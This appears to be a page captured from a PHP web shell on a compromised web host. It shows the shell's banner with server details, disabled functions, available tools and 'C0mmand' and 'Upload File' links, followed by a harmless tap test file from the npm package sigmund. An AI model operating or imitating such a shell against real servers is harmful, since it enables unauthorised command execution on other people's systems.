Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/sigmund/test/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
var test = require('tap').test var sigmund = require('../sigmund.js') // occasionally there are duplicates // that's an acceptable edge-case. JSON.stringify and util.inspect // have some collision potential as well, though less, and collision // detection is expensive. var hash = '{abc/def/g{0h1i2{jkl' var obj1 = {a:'b',c:/def/,g:['h','i',{j:'',k:'l'}]} var obj2 = {a:'b',c:'/def/',g:['h','i','{jkl']} var obj3 = JSON.parse(JSON.stringify(obj1)) obj3.c = /def/ obj3.g[2].cycle = obj3 var cycleHash = '{abc/def/g{0h1i2{jklcycle' test('basic', function (t) { t.equal(sigmund(obj1), hash) t.equal(sigmund(obj2), hash) t.equal(sigmund(obj3), cycleHash) t.end() })